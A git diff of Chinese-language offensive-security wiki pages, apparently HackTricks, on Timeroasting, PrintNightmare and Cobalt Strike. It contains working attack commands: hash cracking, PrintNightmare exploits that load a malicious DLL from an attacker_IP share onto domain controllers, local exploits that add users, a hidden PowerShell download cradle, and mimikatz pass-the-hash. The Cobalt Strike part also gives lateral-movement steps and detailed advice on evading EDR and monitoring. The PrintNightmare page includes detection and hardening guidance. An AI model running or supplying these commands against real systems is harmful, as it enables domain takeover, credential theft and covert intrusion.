>>服务器从客户端NTP请求消息的认证字段的密钥标识符子字段的最低有效31位中检索RID。服务器使用NetrLogonComputeServerDigest方法(如[MS-NRPC]第3.5.4.8.2节所规定)使用以下输入参数计算加密校验和:
|
||||
>>服务器从客户端NTP请求消息的认证字段的密钥标识符子字段的最低有效31位中检索RID。服务器使用NetrLogonComputeServerDigest方法(如[MS-NRPC]第3.5.4.8.2节所述)使用以下输入参数计算加密校验和:
|
||||
>>>
|
||||
|
||||
加密校验和是使用MD5计算的,具体过程可以参考文档内容。这给了我们进行烤制攻击的机会。
|
||||
加密校验和是使用MD5计算的,具体过程可以参考文档内容。这为我们提供了进行roasting攻击的机会。
|
||||
|
||||
## how to attack
|
||||
|
||||
引用至 https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-roasting-timeroasting/
|
||||
引用 https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-roasting-timeroasting/
|
||||
|
||||
[SecuraBV/Timeroast](https://github.com/SecuraBV/Timeroast) - Tom Tervoort的Timeroasting脚本
|
||||
```
|
||||
sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
|
||||
hashcat -m 31300 ntp-hashes.txt
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,7 +1,98 @@
|
||||
# PrintNightmare
|
||||
# PrintNightmare (Windows Print Spooler RCE/LPE)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**查看这篇关于PrintNightmare的精彩博客文章,时间为2024年:[https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
|
||||
> PrintNightmare 是一个集合名称,指的是 Windows **Print Spooler** 服务中的一系列漏洞,这些漏洞允许 **以 SYSTEM 身份执行任意代码**,并且当打印机后台处理程序可以通过 RPC 访问时,**在域控制器和文件服务器上进行远程代码执行 (RCE)**。最广泛利用的 CVE 是 **CVE-2021-1675**(最初被归类为 LPE)和 **CVE-2021-34527**(完全 RCE)。后续问题如 **CVE-2021-34481 (“Point & Print”)** 和 **CVE-2022-21999 (“SpoolFool”)** 证明攻击面仍远未关闭。
|
||||
|
||||
---
|
||||
|
||||
## 1. 易受攻击的组件与 CVE
|
||||
|
||||
| 年份 | CVE | 简称 | 原语 | 备注 |
|
||||
|------|-----|------|------|------|
|
||||
|2021|CVE-2021-1675|“PrintNightmare #1”|LPE|在 2021 年 6 月的 CU 中修补,但被 CVE-2021-34527 绕过|
|
||||
|2021|CVE-2021-34527|“PrintNightmare”|RCE/LPE|AddPrinterDriverEx 允许经过身份验证的用户从远程共享加载驱动程序 DLL|
|
||||
|2021|CVE-2021-34481|“Point & Print”|LPE|非管理员用户安装未签名驱动程序|
|
||||
|2022|CVE-2022-21999|“SpoolFool”|LPE|任意目录创建 → DLL 植入 – 在 2021 年补丁后有效|
|
||||
|
||||
它们都利用了 **MS-RPRN / MS-PAR RPC 方法**(`RpcAddPrinterDriver`,`RpcAddPrinterDriverEx`,`RpcAsyncAddPrinterDriver`)或 **Point & Print** 内部的信任关系。
|
||||
|
||||
## 2. 利用技术
|
||||
|
||||
### 2.1 远程域控制器妥协 (CVE-2021-34527)
|
||||
|
||||
经过身份验证但 **非特权** 的域用户可以通过以下方式在远程打印后台处理程序(通常是 DC)上以 **NT AUTHORITY\SYSTEM** 身份运行任意 DLL:
|
||||
```powershell
|
||||
# 1. Host malicious driver DLL on a share the victim can reach
|
||||
impacket-smbserver share ./evil_driver/ -smb2support
|
||||
|
||||
# 2. Use a PoC to call RpcAddPrinterDriverEx
|
||||
python3 CVE-2021-1675.py victim_DC.domain.local 'DOMAIN/user:Password!' \
|
||||
-f \
|
||||
'\\attacker_IP\share\evil.dll'
|
||||
```
|
||||
流行的 PoC 包括 **CVE-2021-1675.py** (Python/Impacket)、**SharpPrintNightmare.exe** (C#) 和 Benjamin Delpy 的 `misc::printnightmare / lsa::addsid` 模块在 **mimikatz** 中。
|
||||
|
||||
### 2.2 本地权限提升(任何支持的 Windows,2021-2024)
|
||||
|
||||
相同的 API 可以 **本地** 调用,从 `C:\Windows\System32\spool\drivers\x64\3\` 加载驱动程序并获得 SYSTEM 权限:
|
||||
```powershell
|
||||
Import-Module .\Invoke-Nightmare.ps1
|
||||
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
|
||||
```
|
||||
### 2.3 SpoolFool (CVE-2022-21999) – 绕过 2021 修复
|
||||
|
||||
Microsoft 的 2021 补丁阻止了远程驱动程序加载,但**并未加强目录权限**。SpoolFool 利用 `SpoolDirectory` 参数在 `C:\Windows\System32\spool\drivers\` 下创建任意目录,放置一个有效负载 DLL,并强制打印机后台处理程序加载它:
|
||||
```powershell
|
||||
# Binary version (local exploit)
|
||||
SpoolFool.exe -dll add_user.dll
|
||||
|
||||
# PowerShell wrapper
|
||||
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
|
||||
```
|
||||
> 漏洞在完全修补的 Windows 7 → Windows 11 和 Server 2012R2 → 2022 上有效,更新截止到 2022 年 2 月
|
||||
|
||||
---
|
||||
|
||||
## 3. 检测与狩猎
|
||||
|
||||
* **事件日志** – 启用 *Microsoft-Windows-PrintService/Operational* 和 *Admin* 通道,监视 **事件 ID 808** “打印后台处理程序未能加载插件模块” 或 **RpcAddPrinterDriverEx** 消息。
|
||||
* **Sysmon** – `事件 ID 7` (图像加载) 或 `11/23` (文件写入/删除) 在 `C:\Windows\System32\spool\drivers\*` 中,当父进程为 **spoolsv.exe** 时。
|
||||
* **进程血统** – 每当 **spoolsv.exe** 生成 `cmd.exe`、`rundll32.exe`、PowerShell 或任何未签名的二进制文件时发出警报。
|
||||
|
||||
## 4. 缓解与加固
|
||||
|
||||
1. **打补丁!** – 在每个安装了打印后台处理程序服务的 Windows 主机上应用最新的累积更新。
|
||||
2. **在不需要的地方禁用后台处理程序**,特别是在域控制器上:
|
||||
```powershell
|
||||
Stop-Service Spooler -Force
|
||||
Set-Service Spooler -StartupType Disabled
|
||||
```
|
||||
3. **阻止远程连接**,同时仍允许本地打印 – 组策略:`计算机配置 → 管理模板 → 打印机 → 允许打印后台处理程序接受客户端连接 = 禁用`。
|
||||
4. **限制点和打印**,使只有管理员可以添加驱动程序,通过设置注册表值:
|
||||
```cmd
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
|
||||
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
|
||||
```
|
||||
详细指导见 Microsoft KB5005652
|
||||
|
||||
---
|
||||
|
||||
## 5. 相关研究 / 工具
|
||||
|
||||
* [mimikatz `printnightmare`](https://github.com/gentilkiwi/mimikatz/tree/master/modules) 模块
|
||||
* SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
|
||||
* SpoolFool 漏洞及其分析
|
||||
* 0patch 微补丁用于 SpoolFool 和其他后台处理程序漏洞
|
||||
|
||||
---
|
||||
|
||||
**更多阅读(外部):** 查看 2024 年的博客文章 – [理解 PrintNightmare 漏洞](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)
|
||||
|
||||
## 参考文献
|
||||
|
||||
* Microsoft – *KB5005652: 管理新的点和打印默认驱动程序安装行为*
|
||||
<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>
|
||||
* Oliver Lyak – *SpoolFool: CVE-2022-21999*
|
||||
<https://github.com/ly4k/SpoolFool>
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Cobalt Strike
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Listeners
|
||||
|
||||
@ -12,14 +12,14 @@
|
||||
|
||||
这些监听器的信标不需要直接与C2通信,它们可以通过其他信标与其通信。
|
||||
|
||||
`Cobalt Strike -> Listeners -> Add/Edit` 然后您需要选择TCP或SMB信标
|
||||
`Cobalt Strike -> Listeners -> Add/Edit` 然后您需要选择TCP或SMB信标。
|
||||
|
||||
* **TCP信标将在所选端口设置监听器**。要连接到TCP信标,请使用命令 `connect <ip> <port>` 从另一个信标
|
||||
* **TCP信标将在所选端口设置监听器**。要连接到TCP信标,请使用命令 `connect <ip> <port>` 从另一个信标。
|
||||
* **smb信标将在选定名称的管道中监听**。要连接到SMB信标,您需要使用命令 `link [target] [pipe]`。
|
||||
|
||||
### 生成和托管有效负载
|
||||
### 生成和托管有效载荷
|
||||
|
||||
#### 在文件中生成有效负载
|
||||
#### 在文件中生成有效载荷
|
||||
|
||||
`Attacks -> Packages ->`
|
||||
|
||||
@ -28,11 +28,11 @@
|
||||
* **`Windows Executable`** 用于.exe、.dll或服务.exe
|
||||
* **`Windows Executable (S)`** 用于**无状态**的.exe、.dll或服务.exe(无状态比有状态更好,IoCs更少)
|
||||
|
||||
#### 生成和托管有效负载
|
||||
#### 生成和托管有效载荷
|
||||
|
||||
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` 这将生成一个脚本/可执行文件,以从cobalt strike下载信标,格式包括:bitsadmin、exe、powershell和python
|
||||
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` 这将生成一个脚本/可执行文件,以从Cobalt Strike下载信标,格式包括:bitsadmin、exe、powershell和python。
|
||||
|
||||
#### 托管有效负载
|
||||
#### 托管有效载荷
|
||||
|
||||
如果您已经有要在Web服务器上托管的文件,只需转到 `Attacks -> Web Drive-by -> Host File` 并选择要托管的文件和Web服务器配置。
|
||||
|
||||
@ -60,10 +60,10 @@ portscan [targets] [ports] [arp|icmp|none] [max connections]
|
||||
## 导入 Powershell 模块
|
||||
powershell-import C:\path\to\PowerView.ps1
|
||||
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
|
||||
powershell <在此处编写powershell命令> # 这使用最高支持的powershell版本(不是oppsec)
|
||||
powerpick <cmdlet> <args> # 这会创建一个由spawnto指定的牺牲进程,并将UnmanagedPowerShell注入其中以获得更好的opsec(不记录)
|
||||
powershell <在此处编写powershell命令> # 这使用最高支持的powershell版本(不是opsec)
|
||||
powerpick <cmdlet> <args> # 这创建一个由spawnto指定的牺牲进程,并将UnmanagedPowerShell注入其中以获得更好的opsec(不记录)
|
||||
powerpick Invoke-PrivescAudit | fl
|
||||
psinject <pid> <arch> <commandlet> <arguments> # 这会将UnmanagedPowerShell注入指定进程以运行PowerShell cmdlet。
|
||||
psinject <pid> <arch> <commandlet> <arguments> # 这将UnmanagedPowerShell注入指定进程以运行PowerShell cmdlet。
|
||||
|
||||
# 用户冒充
|
||||
## 使用凭据生成令牌
|
||||
@ -80,15 +80,15 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
|
||||
## 从pid窃取令牌
|
||||
## 类似于make_token,但从进程中窃取令牌
|
||||
steal_token [pid] # 此外,这对于网络操作而非本地操作很有用
|
||||
## 从API文档中我们知道,这种登录类型“允许调用者克隆其当前令牌”。这就是信标输出显示冒充<current_username>的原因——它正在冒充我们自己的克隆令牌。
|
||||
## 从API文档中我们知道,这种登录类型“允许调用者克隆其当前令牌”。这就是信标输出显示冒充<current_username>的原因——它正在冒充我们自己克隆的令牌。
|
||||
ls \\computer_name\c$ # 尝试使用生成的令牌访问计算机中的C$
|
||||
rev2self # 停止使用steal_token中的令牌
|
||||
rev2self # 停止使用steal_token的令牌
|
||||
|
||||
## 使用新凭据启动进程
|
||||
spawnas [domain\username] [password] [listener] # 从具有读取访问权限的目录执行,例如:cd C:\
|
||||
## 类似于make_token,这将生成Windows事件4624:帐户成功登录,但登录类型为2(LOGON32_LOGON_INTERACTIVE)。它将详细说明调用用户(TargetUserName)和冒充用户(TargetOutboundUserName)。
|
||||
|
||||
## 注入进程
|
||||
## 注入到进程中
|
||||
inject [pid] [x64|x86] [listener]
|
||||
## 从OpSec的角度来看:除非真的有必要,否则不要执行跨平台注入(例如x86 -> x64或x64 -> x86)。
|
||||
|
||||
@ -99,14 +99,14 @@ pth [DOMAIN\user] [NTLM hash]
|
||||
|
||||
## 通过mimikatz传递哈希
|
||||
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
|
||||
## 如果没有/run,mimikatz会生成一个cmd.exe,如果您以具有桌面的用户身份运行,他将看到shell(如果您以SYSTEM身份运行,则可以继续)
|
||||
## 如果没有/run,mimikatz会生成cmd.exe,如果您以具有桌面的用户身份运行,他将看到shell(如果您以SYSTEM身份运行,则可以继续)
|
||||
steal_token <pid> # 从mimikatz创建的进程中窃取令牌
|
||||
|
||||
## 传递票证
|
||||
## 请求票证
|
||||
execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
|
||||
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
|
||||
## 创建一个新的登录会话以与新票证一起使用(以免覆盖被破坏的票证)
|
||||
## 创建一个新的登录会话以使用新票证(以免覆盖被攻陷的票证)
|
||||
make_token <domain>\<username> DummyPass
|
||||
## 从powershell会话中将票证写入攻击者机器并加载
|
||||
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
|
||||
@ -136,10 +136,10 @@ jump [method] [target] [listener]
|
||||
## 方法:
|
||||
## psexec x86 使用服务运行服务EXE工件
|
||||
## psexec64 x64 使用服务运行服务EXE工件
|
||||
## psexec_psh x86 使用服务运行PowerShell单行命令
|
||||
## psexec_psh x86 使用服务运行PowerShell一行代码
|
||||
## winrm x86 通过WinRM运行PowerShell脚本
|
||||
## winrm64 x64 通过WinRM运行PowerShell脚本
|
||||
## wmi_msbuild x64 使用msbuild内联C#任务的wmi横向移动(oppsec)
|
||||
## wmi_msbuild x64 使用msbuild内联C#任务的wmi横向移动(opsec)
|
||||
|
||||
remote-exec [method] [target] [command] # remote-exec不返回输出
|
||||
## 方法:
|
||||
@ -159,7 +159,7 @@ msf6 exploit(multi/handler) > set LHOST eth0
|
||||
msf6 exploit(multi/handler) > set LPORT 8080
|
||||
msf6 exploit(multi/handler) > exploit -j
|
||||
|
||||
## 在cobalt上:Listeners > Add并将Payload设置为Foreign HTTP。将Host设置为10.10.5.120,将Port设置为8080,然后单击保存。
|
||||
## 在cobalt上:Listeners > Add并将有效载荷设置为Foreign HTTP。将主机设置为10.10.5.120,将端口设置为8080,然后单击保存。
|
||||
beacon> spawn metasploit
|
||||
## 您只能使用外部监听器生成x86 Meterpreter会话。
|
||||
|
||||
@ -173,8 +173,8 @@ ps
|
||||
shinject <pid> x64 C:\Payloads\msf.bin # 在x64进程中注入metasploit shellcode
|
||||
|
||||
# 将metasploit会话传递给cobalt strike
|
||||
## 生成无状态信标shellcode,转到Attacks > Packages > Windows Executable (S),选择所需的监听器,选择Raw作为输出类型并选择使用x64有效负载。
|
||||
## 在metasploit中使用post/windows/manage/shellcode_inject注入生成的cobalt strike shellcode
|
||||
## 生成无状态信标shellcode,转到Attacks > Packages > Windows Executable (S),选择所需的监听器,选择Raw作为输出类型,并选择使用x64有效载荷。
|
||||
## 在metasploit中使用post/windows/manage/shellcode_inject注入生成的cobalt strike shellcode。
|
||||
|
||||
# 透传
|
||||
## 在teamserver中打开socks代理
|
||||
@ -185,16 +185,16 @@ beacon> ssh 10.10.17.12:22 username password</code></pre>
|
||||
|
||||
## Opsec
|
||||
|
||||
### 执行程序集
|
||||
### Execute-Assembly
|
||||
|
||||
**`execute-assembly`** 使用**牺牲进程**通过远程进程注入来执行指定的程序。这是非常嘈杂的,因为要在进程内部注入,使用了每个EDR都在检查的某些Win API。然而,有一些自定义工具可以用来在同一进程中加载某些内容:
|
||||
**`execute-assembly`** 使用**牺牲进程**通过远程进程注入来执行指定的程序。这是非常嘈杂的,因为要在进程内部注入,使用了每个EDR都在检查的某些Win API。然而,有一些自定义工具可以用于在同一进程中加载某些内容:
|
||||
|
||||
- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
|
||||
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
|
||||
- 在Cobalt Strike中,您还可以使用BOF(信标对象文件):[https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
|
||||
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
|
||||
|
||||
agressor脚本 `https://github.com/outflanknl/HelpColor` 将在Cobalt Strike中创建 `helpx` 命令,该命令将在命令中添加颜色,指示它们是否为BOFs(绿色)、是否为Frok&Run(黄色)及类似情况,或者是否为ProcessExecution、注入或类似情况(红色)。这有助于了解哪些命令更隐蔽。
|
||||
agressor脚本 `https://github.com/outflanknl/HelpColor` 将在Cobalt Strike中创建 `helpx` 命令,该命令将在命令中添加颜色,指示它们是否是BOFs(绿色)、是否是Frok&Run(黄色)及类似,或者是否是ProcessExecution、注入或类似(红色)。这有助于了解哪些命令更隐蔽。
|
||||
|
||||
### 作为用户操作
|
||||
|
||||
@ -205,15 +205,15 @@ agressor脚本 `https://github.com/outflanknl/HelpColor` 将在Cobalt Strike中
|
||||
- 安全EID 4624/4625 - 检查有效/无效的NTLM尝试。
|
||||
- 安全EID 4648 - 当使用明文凭据登录时,会生成此事件。如果某个进程生成了它,则该二进制文件可能在配置文件或代码中以明文形式包含凭据。
|
||||
|
||||
在使用Cobalt Strike的 `jump` 时,最好使用 `wmi_msbuild` 方法,使新进程看起来更合法。
|
||||
在使用Cobalt Strike的 `jump` 时,最好使用 `wmi_msbuild` 方法使新进程看起来更合法。
|
||||
|
||||
### 使用计算机帐户
|
||||
|
||||
防御者通常会检查用户生成的奇怪行为,并**将服务帐户和计算机帐户如 `*$` 排除在监控之外**。您可以使用这些帐户进行横向移动或权限提升。
|
||||
防御者通常会检查用户生成的奇怪行为,并**将服务帐户和计算机帐户如`*$`排除在监控之外**。您可以使用这些帐户进行横向移动或权限提升。
|
||||
|
||||
### 使用无状态有效负载
|
||||
### 使用无状态有效载荷
|
||||
|
||||
无状态有效负载比有状态有效负载噪音更小,因为它们不需要从C2服务器下载第二阶段。这意味着在初始连接后不会生成任何网络流量,从而降低被基于网络的防御检测到的可能性。
|
||||
无状态有效载荷比有状态有效载荷噪音更小,因为它们不需要从C2服务器下载第二阶段。这意味着在初始连接后不会生成任何网络流量,从而降低被基于网络的防御检测到的可能性。
|
||||
|
||||
### 令牌和令牌存储
|
||||
|
||||
@ -232,9 +232,9 @@ agressor脚本 `https://github.com/outflanknl/HelpColor` 将在Cobalt Strike中
|
||||
|
||||
### 防护措施
|
||||
|
||||
Cobalt Strike有一个名为**Guardrails**的功能,帮助防止使用某些可能被防御者检测到的命令或操作。Guardrails可以配置为阻止特定命令,例如 `make_token`、`jump`、`remote-exec` 和其他常用于横向移动或权限提升的命令。
|
||||
Cobalt Strike有一个名为**Guardrails**的功能,可以帮助防止使用某些命令或操作,这些操作可能会被防御者检测到。Guardrails可以配置为阻止特定命令,例如`make_token`、`jump`、`remote-exec`和其他常用于横向移动或权限提升的命令。
|
||||
|
||||
此外,repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) 还包含一些检查和建议,您可以在执行有效负载之前考虑。
|
||||
此外,repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) 还包含一些检查和建议,您可以在执行有效载荷之前考虑。
|
||||
|
||||
### 票证加密
|
||||
|
||||
@ -242,17 +242,17 @@ Cobalt Strike有一个名为**Guardrails**的功能,帮助防止使用某些
|
||||
|
||||
### 避免默认设置
|
||||
|
||||
使用Cobalt Strike时,默认情况下,SMB管道将命名为 `msagent_####` 和 `"status_####`。更改这些名称。可以使用命令 `ls \\.\pipe\` 检查Cobalt Strike中现有管道的名称。
|
||||
使用Cobalt Strike时,默认情况下,SMB管道将命名为`msagent_####`和`"status_####`。更改这些名称。可以使用命令 `ls \\.\pipe\` 检查Cobalt Strike中现有管道的名称。
|
||||
|
||||
此外,使用SSH会话时,会创建一个名为 `\\.\pipe\postex_ssh_####` 的管道。使用 `set ssh_pipename "<new_name>";` 更改它。
|
||||
此外,使用SSH会话时,会创建一个名为`\\.\pipe\postex_ssh_####`的管道。使用 `set ssh_pipename "<new_name>";` 更改它。
|
||||
|
||||
在后期利用攻击中,管道 `\\.\pipe\postex_####` 可以使用 `set pipename "<new_name>"` 进行修改。
|
||||
在后期利用攻击中,管道 `\\.\pipe\postex_####` 可以通过 `set pipename "<new_name>"` 进行修改。
|
||||
|
||||
在Cobalt Strike配置文件中,您还可以修改以下内容:
|
||||
|
||||
- 避免使用 `rwx`
|
||||
- 进程注入行为的工作方式(将使用哪些API)在 `process-inject {...}` 块中
|
||||
- “fork and run” 在 `post-ex {…}` 块中的工作方式
|
||||
- “fork and run”在 `post-ex {…}` 块中的工作方式
|
||||
- 睡眠时间
|
||||
- 要加载到内存中的二进制文件的最大大小
|
||||
- 内存占用和DLL内容与 `stage {...}` 块
|
||||
@ -260,19 +260,19 @@ Cobalt Strike有一个名为**Guardrails**的功能,帮助防止使用某些
|
||||
|
||||
### 绕过内存扫描
|
||||
|
||||
一些ERDs扫描内存以查找已知恶意软件签名。Cobalt Strike允许修改 `sleep_mask` 函数作为BOF,这将能够在内存中加密后门。
|
||||
一些EDR扫描内存以查找已知恶意软件签名。Cobalt Strike允许修改 `sleep_mask` 函数作为BOF,这将能够在内存中加密后门。
|
||||
|
||||
### 嘈杂的进程注入
|
||||
|
||||
在进程中注入代码通常是非常嘈杂的,这是因为**没有常规进程通常执行此操作,并且执行此操作的方式非常有限**。因此,它可能会被基于行为的检测系统检测到。此外,它还可能被EDR检测到,后者扫描网络以查找**包含不在磁盘上的代码的线程**(尽管诸如使用JIT的浏览器等进程通常会这样做)。示例:[https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
|
||||
当将代码注入进程时,这通常是非常嘈杂的,因为**没有常规进程通常执行此操作,并且执行此操作的方法非常有限**。因此,它可能会被基于行为的检测系统检测到。此外,它还可能被EDR检测到,后者扫描网络以查找**包含不在磁盘上的代码的线程**(尽管诸如使用JIT的浏览器等进程通常会这样做)。示例:[https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
|
||||
|
||||
### Spawnas | PID和PPID关系
|
||||
|
||||
在生成新进程时,重要的是**保持进程之间的常规父子关系**以避免检测。如果svchost.exec正在执行iexplorer.exe,这看起来会很可疑,因为svchost.exe在正常的Windows环境中不是iexplorer.exe的父进程。
|
||||
在生成新进程时,重要的是**保持进程之间的常规父子**关系,以避免检测。如果svchost.exec正在执行iexplorer.exe,它看起来会很可疑,因为svchost.exe在正常的Windows环境中不是iexplorer.exe的父进程。
|
||||
|
||||
当在Cobalt Strike中生成新的信标时,默认情况下会创建一个使用**`rundll32.exe`**的进程来运行新的监听器。这不是很隐蔽,容易被EDR检测到。此外,`rundll32.exe`在没有任何参数的情况下运行,使其更加可疑。
|
||||
当在Cobalt Strike中生成新信标时,默认情况下会创建一个使用**`rundll32.exe`**的进程来运行新的监听器。这不是很隐蔽,容易被EDR检测到。此外,`rundll32.exe`在没有任何参数的情况下运行,使其更加可疑。
|
||||
|
||||
使用以下Cobalt Strike命令,您可以指定一个不同的进程来生成新的信标,从而使其更不易被检测到:
|
||||
使用以下Cobalt Strike命令,您可以指定一个不同的进程来生成新的信标,从而使其更难被检测到:
|
||||
```bash
|
||||
spawnto x86 svchost.exe
|
||||
```
|
||||
@ -360,4 +360,4 @@ pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
|
||||
```
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user